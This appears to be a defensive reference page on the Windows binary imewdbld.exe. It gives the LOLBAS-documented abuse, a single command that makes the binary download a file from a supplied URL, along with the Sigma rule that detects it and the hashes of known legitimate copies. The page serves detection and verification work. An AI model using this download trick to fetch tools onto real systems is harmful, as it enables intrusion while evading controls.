imewdbld.exe

Microsoft IME Open Extended Dictionary Module file version info (xCyclopedia)

LOLBAS Download 1 Sigma rule name it 2 ATT&CK techniques 1 documented command 12 known copies with hashes

How imewdbld.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for imewdbld.exe.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

IMEWDBLD.exe attempts to load a dictionary file, if provided a URL as an argument, it will download the file served at by that URL and save it to INetCache.

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}

Identify

Trips 1 Sigma rule: highArbitrary File Download Via IMEWDBLD.EXE by Swachchhanda Shrawan Poudel

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for imewdbld.exe, by Wade Hickey, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for imewdbld.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

highArbitrary File Download Via IMEWDBLD.EXESwachchhanda Shrawan Poudel

T1105Ingress Tool Transfer

T1218System Binary Proxy Execution

Is it the real imewdbld.exe?

file version info and known copies

Installed inC:\Windows\system32\IME\SHARED\
C:\Windows\SysWOW64\IME\SHARED\

Signed byMicrosoft Windows

ProductMicrosoft Windows Operating System, Microsoft Corporation

DescriptionMicrosoft IME Open Extended Dictionary Module

12 known copies

15.0.9600.18514 · C:\windows\system32\IME\SHARED\IMEWDBLD.EXE · not signed

69d9be75c7f403b13d7d3344e5bd8244de16cb2877d95c0715591419aed71fa4

15.0.9600.18514 · C:\windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE · not signed

8d02bea0cff00135cf8f752332a0724eb121330fe0c5b32099003cd178aa301c

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\IME\SHARED\IMEWDBLD.EXE · signed by Microsoft Windows

6ab0864d0cf36c5e0b264a1bf8693b733242b0427ae0ed5fb04da9d7c9ffea9f

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE · signed by Microsoft Windows

ad1fe7517fa5fcce52a0718102c7d2c5197df992d88d3d0c1545148702e8ed78

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE · signed by Microsoft Windows

0cff477b20735e3e56eb8fb1866108362f3fed20e230f07bbc21f8c2d8e13c96

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\IME\SHARED\IMEWDBLD.EXE · signed by Microsoft Windows

e41b6e1dc3b77040b10ff3dc3bc54ab528dc0cbbbb9841d3ad05fd2136e542a9

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\IME\SHARED\IMEWDBLD.EXE · signed by Microsoft Windows

60a1dcb12e65e0bd9e413ad48df21a7753a90e7a60bd04f2865c55148818120f

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\IME\SHARED\IMEWDBLD.EXE · signed by Microsoft Windows

7573d6c63a143b5e03461a581d53de6262d8b934640e58f31179611911cd7005

10.0.17763.1075 (WinBuild.160101.0800) · C:\Windows\system32\IME\shared\IMEWDBLD.EXE · signed by Microsoft Windows

51e8741641c33d13908f3260bee589871d5efd9210504f7b4cdeee50bae17c2c

10.0.17763.1075 (WinBuild.160101.0800) · C:\Windows\SysWOW64\IME\shared\IMEWDBLD.EXE · signed by Microsoft Windows

c6cf94ee76f288cf59edeba4440cedf08264ee1ea6f077df654a0e9c5149f491

10.0.14393.2608 (rs1_release.181024-1742) · C:\Windows\system32\IME\SHARED\IMEWDBLD.EXE · signed by Microsoft Windows

1c9dd63ee48d5a906fff62688f5af6ada44c670742b243a3bf64f88d26ab1a66

10.0.14393.2608 (rs1_release.181024-1742) · C:\Windows\SysWOW64\IME\SHARED\IMEWDBLD.EXE · signed by Microsoft Windows

78956713b79e22361440a709c3ea4a927c65b25f6fc21085b092f8091c37ff16

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.